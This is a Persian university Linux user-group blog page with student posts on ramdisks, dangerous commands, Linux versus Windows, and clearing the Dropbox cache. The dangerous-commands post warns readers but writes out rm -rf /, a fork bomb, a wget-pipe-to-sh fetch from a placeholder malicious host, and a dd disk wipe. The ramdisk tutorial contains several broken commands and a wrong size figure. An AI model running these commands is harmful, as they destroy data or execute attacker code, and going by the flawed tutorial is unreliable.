گروه کاربران لینوکس دانشگاه شهید مدنی آذربایجان

لاگ دانشگاه آذربایجان :: Azarbaijan University Linux User Group

گروه کاربران لینوکس دانشگاه شهید مدنی آذربایجان

لاگ دانشگاه آذربایجان :: Azarbaijan University Linux User Group

چگونه از ramdisk در linux استفاده کنیم؟

اگر شما نیاز به افزایش سرعت داده هایی که در سرور های Data Center  لینوکس  نوشته و ذخیره میکنید دارید ، یک Ramdisk ممکن است همان چیزی باشد که به آن احتیاج دارید در اینجا چگونگی ایجاد ،نصب و پشتیبان گیری از آن را توضیح خواهیم داد:

1.ایجاد:

اولین کاری که باید انجام دهید ایجاد پوشه ای ست که در نصب Ramdisk  از ان استفاده خواهد شد.

من پوشه ی   media/ramdisk /  را ایجاد کردم ،برای این کار ترمینال را باز کنید و این دستور را بنویسید:

   sudo   mkdir    -p      /media/ramdisk 

شما میتوانید نام پوشه را هر چیزی که دوست دارید انتخاب کنید و همچنین در هر دایرکتوری که میخواهید آن را ایجاد کنید .

من media/  را انتخاب کردم چون همان جاییست که درایو  های پیشفرض در صورت ایجاد در آن خواهند بود.

2. نصب:

حا ل ما یک دایرکتوری تازه ایجاد شده را به یک فضای ذخیره سازی موقت سوق میدهیم برای ین کار از این دستور استفاده کنید :

sudo   mount   -t    tmpfs   -o   size = 2048 M 

tmpfs      /media/ramdisk 

شما میتوانید نطقه اتصال و سایز را متناسب با نیاز خود تنظیم کنید در مثال بالا من  20 گیگا بابت  از Ram  را نصب کردم برای اینکه به عنوان سیستم فایل های موقت media/ramdisk/  استفاده شود .

دایرکتوری نصب شده حالا برای استفاده در اختیار شماست .

زمانی که کار شما با ramdisk  تمام شد میتواند آنرا مطابق دستور زیر حذف کنید :

sudo     unmount   /media/ramdisk

اگر بخواهید ramdisk  در هنگام بوت شدن به طور خودکار ایجاد شود چه باید بکنید؟؟

    این را میتوان با کمک etc /fstab / انجام داد:

این فایل را باز کنید و موارد زیر را اضافه کنید:


nano    /media/ramdisk    tmpfs  

nodev , nosuid , neoXec , nodiratime , size = 2048 M 00

ذخیره کنید و فایل را ببندید .

حالا می توانید فایل جدید را با دستور زبر تست کنید اگر خطایی نبود کارتان را به خوبی انجام داده اید :

/etc/fstab

3. پشتیبان گیری:

چون ما با حافظه ی غیر ماندگار سرو کار داریم میخواهیم یک پشتیبان گیری منظم انجام دهیم

میتوانیم یک Bash script  ساده برای این کار بنویسیم :

#!bin/bash

Cp   -ru   /media/ramdisk/BACKUP/PATH

ذخیره کنید و خارج شوید. من نامش را  root/ramdisk-backup.sh/  گذاشتم.

مجوز های اجرایی را با کد زیر بدهید:


chmod    u+x    ramdisk_backup.sh


نیاز به ایجاد یک crontab  داریم:

crontab    -e 

بعد 

*/15 * * * *  /root/ramdisk_backup.sh 

crontab وارد شده اطلاعات ramdisk  شما را هر 15 دقیقه یک بار پشتیبان گیری میکند حال اگر برق شما قطع شد و یا دستگاهتان خاموش شود اطلاعات را از دست نخواهید داد.


فاطمه حق نظری 

941832212

منبع :

https://www.techrepublic.com/article/how-to-use-a-ramdisk-on-linux/


دستورات خطرناک linux

در عین جالب بودن استفاده از خط فرمان در لینوکس گاهی اوقات ممکن است این عمل خطرناک باشد زیرا با یک اشتباه کوچک میتواند منجر به آسیب ببه سستم شود. در ادامه ی مطلب شمارا با چند دستور خطرناک که استفاده از آنها توصیه نمی شود آشنا می کنیم:



1. rm  -rf

این دستور یکی از سریعترین راه ها برای پاک کردن یک پوشه و محتویات آن است اما یک اشتباه کوچک ممکن است آسیب جدی به سیستم عامل بزند.

  •     دستور rm -r پرونده را به صورت بازگشتی، حتی پوشه خالی پاک می کند.
  • دستور rm -f حذف بدون نیاز به «فقط خواندن فایل».
  •     rm -rf /: حذف همه چیز را در دایرکتوری ریشه.
  •     rm -rf *: خاتمه حذف همه چیز در دایرکتوری دایرکتوری / دایرکتوری کاری.
  •  rm -rf : حذف پوشه فعلی و پوشه های زیر را خاتمه دهید.


پس هنگام استفاده از این دستور باد قت عمل کنید. درصورتی که می خواهید مشکل حذف تصادفی را برطرف کنید نام مستعار rm را در bashcr با rm -i اییجاد کنید تا برای هر حذف از شما برای تایید حذف سوال کند.


2.:;{&:|:}():

این عبارت در واقع یک بمب افکن است. این کاربا تعریف تابع ":" که خود را یک بار با پس زمینه و یک بار با پیش زمینه تماس میدهد تا سیستم به طور کامل مهار شود و سپس دوباره اجرا می شود.


3.mvfolder   /dev/null

دستور بالا یک دستور انتقال است به آدرسی که در روبروی آن نوشته شده، اما نکته ی مهم اینجاست که null یک فایل ویژه ای است که تمام داده های نوشته شده در آن را حذف می کند و در نهایت گزارش میدهد که عملیات موفق است.


4.wget http://malicious_source -O- | sh

این دستور ابتده یک اسکریپت را از منببع مخرب دنلود و سپس آنرا اجرا می کند. wget برای دانلود و sh برای اجرا استفاده می شود.


5.dd if=/dev/random of=/dev/sda

دستور فوق sda بلوک را پاک کرده و داده های ناخواسته را به آن ارسال می کند. البته باید نکته را مد نظر داشته باشید که سیستم شما در حالت غیر قابل برگشت باقی خواهد ماند.


خب!

از 10 دستور خطرناک گفته شده در سایت در اینجا به 5 دستور مهمتر اشاره شد و کسانی که تمایل به مطالعه ی بیشتر در ازین زمینه دارند می توانند به آدرس زیر مراجعه نمایند.


https://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/#


نویسنده:سینا صادقی

دلایل برتری لینوکس بر ویندوز

 

10 دلیلی که باعث می شود لینوکس از ویندوز پیشی بگیرد:

آیا می دانستید که سیستم عامل لینوکس در مقایسه با ویندوز ویژگی هایی دارد که باعث پیشی گرفتن از آن میشود؟

اگر شما یک کاربر تازه کار هستید به شما توصیه می شود که برای شروع از سیستم عامل ویندوز که یادگیری آن در مقایسه با ویندوز ساده تر است ،استفاده کنید و طبیعی است که شما از لینوکس که کمی پیچیده تر از ویندوز است استفاده نکنید.لینوکس برای افرادی که دارای مهارت های بالایی هستند ودوست دارند تجربه های متفاوتی داشته باشند مناسب است. ازدلایلی که باعث پیشی گرفتن آن از ویندوز می شود می توان 10 مورد را بیان کرد که عبارت اند از:


1.متن باز بودن                                                                                                                       

شما یک خودرو را درنظربگیرید،وقتی می خواهید خودرویی را بخرید در نگاه اول فقط یک دستگاهی را می بینید که از اجزای مختلفی تشکیل شده است که برای شما پنهان است و فقط شما صورت کامل شده آن را می بینید و نمیتوانید تغییری در آن ایجاد کنید و هرگونه دستکاری درآن موجب نقص فنی آن می شود ،ویندوز هم عملکردی مشابه این رادارد اما در مقابل آن لینوکس کاملا یک پروژه متن باز است و هر کاربری در صورت نیاز می تواند هرگونه تغییر را در آن انجام دهد و حتی به کد خود سیستم عامل دسترسی دارد میتواند آن را تغییر و اصلاح کند و دوباره به بازار عرضه کند و دیگران بدون پرداخت هیچ هزینه ای از آن استفاده کنند.درست است که برای اکثر افراد متن باز بودن اهمیتی ندارد ولی یک اصل اساسی در سیستم عمل لینوکس است.


2.امنیت بالا

این یک حقیقت است که سیستم عامل لینوکس نسبت به ویروس ها و حملات هکر ها آسیب پذیر است اما لینوکس در مقایسه با ویندوز در مقابل همچنین حملاتی بسیار امن تر است ودلیل آن هم فرآیند مدیریت بسته ،مفهموم انبار و ویژگی های دیگر می باشد.در سیستم عامل ویندوز شما دائم نیاز دارید که هزینه هایی پرداخت کنیدو آنتی ویروسی بر روی سیستم خود نصب کنید که از ویروس ها در امن بماند و عملکردش کند نشود ولی در لینوکس نیازی به آنتی ویروس ندارید که باعث صرفه جویی در هزینه ها میشود.


3.توانایی احیا و استفاده دوباره از کامپیوترهای قدیمی

سیستم عامل ها دائم در حال تکامل هستند و برای استفاده از آن باید نیازمندی های لازم برای سیستم را نیز تامین کرد.مثلا وقتی یک ویندوز 10 را خریداری می کنید برای اجرای آن باید حداقل نیازمندی های سخت افزاری لازم را داشت چون بر روی یک سیستم سطح پایین قابل اجرا نمی باشد.اما در مقابل می توان با استفاده از لینوکس هنوز هم از سیستم های کامپیوتری قدیمی برای انجام بعضی کارها استفاده کرد ولی این دلیل نمی شود که سیستم های با 256مگابایت حافظه و پردازنده قدیمی توزیع شود با این حال هنوز هم گزینه هایی وجود دارد بر روی سیستم های سطح پایین  اجرا می شود(مانند  (puppy linux بنابراین سیستم عامل لینوکس میتواند در بر روی انواع سیستم ها(سطح پایین -بالا)اجرا شود ولی ویندوز برای اجرا شدن نیاز های سخت افزاری دارد.به خاطر این دلیل است که اگر یک ویندوز سطح بالا و لینوکس سطح پایین را مقایسه کنید باز اکثر سرور ها در سراسر جهان لینوکس را نرجیح می دهند.


4.مناسب برای برناَمه نویسان

سیستم عامل لینوکس از اکثر زبان های برنامه نویسی((Python, C/C++, Java, Perl, Ruby, etcپشتیبانی می کند.برنامه های زیادی را برای هدف برنامه نویسی و کمک به برنامه نویسان عرضه می کند.ترمینال لینوکس مناسب تر از CMDویندوز برای برنامه نویسان می باشد و شما میتواند ازکتابخانه هایی زیادی را که برای لینوکس می باشد،استفاده کنید و همچنین اکثر برنامه نویسان بر این باورند که مدیریت بسته در لینوکس به آن ها کمک می کنند که کار خود را راحت تر انجام دهند.


5.به روزرسانی های نرم افزار

مایکروسافت زمانی بروزرسانی را انجام می دهد که بایک مشکل بزرگی مواجه باشد یا بخواهد یه موردی را اثبات کنید همچنین بعضی مواقه برای حل یک مشکل کوچک هم بروزرسانی انجام میدهد و.لی در مقابل لینوکس بروزرسانی های بیشتر و سریعتری را انجام می دهد.


6.سفارشی بودن

یک مزیت بزرگ لینوکس نسبت به ویندوز ،قابل سفارش بودن آن است .اگر شما میخواهید تنطیمات لینوکس خود را تغییر دهید و انگونه که مدنطرخودتان هست ایجاد کنید ،لینوکس برای شما مناسب است.


7.تنوع در توزیع

تنوع و توزیع زیادی در ویندوز دیده نمی شود و ممکن است که شما نقشه های زیادی برای انجام کار خاصی که نیاز به شرایط صدور مجوز،دوره های فعالسازی ،قیمت و...داشته باشید.در مقابل لینوکس توزیع های متفاوت.(توزیع هایی برای هکر ها،برنامه نویسان ،رایانه های بسیار قدیمی و... ) برای مجموعه ای از نیاز ها دارد به طوریکه شما  براساس نیاز خود هر توزیعی که متناسب با نیاز شما باشد را انتخاب کنید.


8.استفاده رایگان

برخلاف ویندوز ،لینوکس به صورت رایگان در دسترس عموم است وکاربر مجبور نیست که هزینه های زیادی برای گرفتن یک کپی از آن پرداخت کند و هرگونه تغییر ،کپی بر روی لینوکس رایگان است.


9.پشتیبانی ارتباطی بهتر

وقتی شما بایک مشکلی در لینوکس مواجه شدید لازم نیست که یک متخصص را استخدام کنید تا مشکل شما را حل کند بلکه میتوانی با یک جستجوی ساده در وب به راحتی افرادی را پیدا کنید که میتوانند مشکل شمارا حل کنند وافرادی که در زمینه لینوکس فعال هستند آماده پاسخ گویی هستند واین افراد به مراتب فعالتر از افرادی هستند که به ویندوز علاقه دارند.


10.حفظ حریم شخصی

مایکروسافت به صورت پنهانی میتواند داده های جمع آوری شده هر کاربری را تغییر دهند که این مشکل در ویندوز 10 نیز حل نشد که باعث شده است انتقاد های زیادی در مور جمع آوری داده هاو نحوه استفاده از آن ها داشته باشد.اگر از ویندوز 10 استفاده کرده باشید به قسمت حریم خصوصی مراجعه کنید می بینید که همه چیز به طورر پیش فرض برای شما فعال شده است حتی اگر شما اجازه ارسال اطلاعتتان را ندهید آن ها باز اطلاعات شما را جمع آوری میکنند و شما نیاز به ابزارهایی برای غیرفعال کردن ماژول جاسوسی ویندوز دارید درمقابل لینوکس یک راه حل کامل برای حفظ حریم خصوصی می باشد به طوری که هیچ اطلاعاتی از شما را جمع آوری نمی کند و شما نیازی به ابزار اضافی برای محافظت از حریم خصوصی خود ندارید.

 

منبع

https://itsfoss.com/linux-better-than-windows

 

 نام ونام خانوادگی دانشجو:زهرا پیرجانی(941832205)

نحوه حذف کردن Dropbox cache در لینوکس



                          

  Dropbox   یک  حافظه  پنهان   از  فایل ها  برای  کارایی و  اهداف  اضطراری  است و به عنوان  یک  حوزه  نمایش  برای  دانلود ها  و آپلود فایل  ها  است  . Dropbox  cache    یک  پوشه  پنهان با نام  "  Dropbox.cache. "  است  که در فولدر  Dropbox  root   ذخیره   می شود  .

 شما پوشه های  مخفی  را  نمی بینید مگر اینکه   توانایی  مشاهده    file  ها  و  folder  ها ی مخفی  را   در  سیستم  عامل  لینوکس   فعال  کنید  ,   برای  حذف    آیتم ها  در پوشه  Dropbox  cache   در لینوکس  باید از   linux  mint   استفاده کنیم  از این روش در اوبونتو  و  دیگر توزیع های لینوکس  استفاده  می شود


  ابتدا آیکون   "Home "   را در  دسکتاب  لینوکس  خود باز کنید  , 



                
14_opening_files_manager  
                           


 
 ابتدا  مطمعن  باشید  که  تمام   فایل   های  پنهان  ,  نشان   داده  می شوند  برای   انجام  این  کار  در  mint   رفته  , شما باید   اول  منوی  " view "   را  بازکنید و  مطمعن  شوید  که  علامت  چک  در  مقابل   " show  hidden  files"    وجود  دارد   همچنین  می توانید  از  کلید  های  میانبر   ctrl+H   برای  toggle   کردن  نمایش  فایل   ها پنهان شده  استفاده   می  شود.



 16_selecting_show_hidden_files
           


 به  پوشه  Dropbox      بروید  و   بر  روی  آن  دابل  کلیک  کنید .



17_opening_dropbox_folder



در پوشه  Dropbox     روی  پوشه  "dropbox .cache."   دابل کلیک کنید , توجه داشته باشید که علامت نقطه   در ابتدای  نام  پوشه نشان می دهد  که پوشه  پنهان  است.



18_opening_cache_folder



همه  پوشه  ها  وفایل ها  را در پوشه  " dropbox .cache. "  انتخاب کنید روی آنها راست کلیک کرده و  گزینه   " Delete"   را برای حذف دائمی  فایل ها   و "  move  to   Trash  "    را برای  انتخاب  فایل  ها به  trash  انتخاب کنید.                                                                                                                      



               19_selecting_delete




اگر فایل ها   را  به سطل  زباله  منتقل کردید می توانید فایل ها را با راست کلیک  برروی  گزینه  "  Trash "  در قسمت پاییین   "  My computer  "  در  سمت   چپ      برنامه  ,  گزینه   "  Empty  Trash  "     از   popu   meu    انتخاب کنید تا فایل ها از سطل زباله خارج کنید .

 
                     
 
22_emptying_trash

                    


   Dropbox  به مدت30  روز  فایل های پاک شده   را در سرور های خود نگه می دارد  , پاک کردن فایل های cahce  بر روی  رایانه تان هیچ تاثیری بر روی  فایل هایی پاک شده که در  سرور  Dropbox   ذخیره شده اند  ,  ندارد.




امیدوارم از مطالب ارائه شده نهایت استفاده را برده باشید , با تشکر

                   

   منابع:
    


      استفاده از اکانت  مشترک :
     نام و نام خانوادگی  دانشجو :  فرانک فتحی
      شماره دانشجویی :  941832227

فوتوشاپ را به لینوکس خود بیاورید !!




وقتی از کاربران لینوکس بپرسید که چرا هنوز یک نسخه از ویندوز را روی سیستم خود نگاه داشته‌اند، خواهید دید که اکثر آنها یک دلیل برای انجام این کار دارند: "بازی‌ها" و همینطور "برنامه های گرافیکی".

در این صورت یکی از راه ها این است که برای مواقع ضروری، یک ویندوز هم در کنار سیستم عامل اصلی تان روی کامپیوتر داشته باشید و یا با کمک نرم افزارهایی مانند Virtual Box، اقدام به نصب ویندوز در محیط لینوکس کنید. اما راه دیگر، نصب مستقیم نرم افزارهای های ویندوزی روی لینوکس است. توسط این نرم افزار قدرتمند که PlayOnLinux نام دارد، قادر خواهید بود تا برنامه های ویندوز را در سیستم عامل لینوکس اجرا کنید. در این آموزش ابتدا به نصب این نرم افزار پرداخته و سپس به نصب برنامه ی محبوب فوتوشاپ خواهیم پرداخت. 

ادامه مطلب ...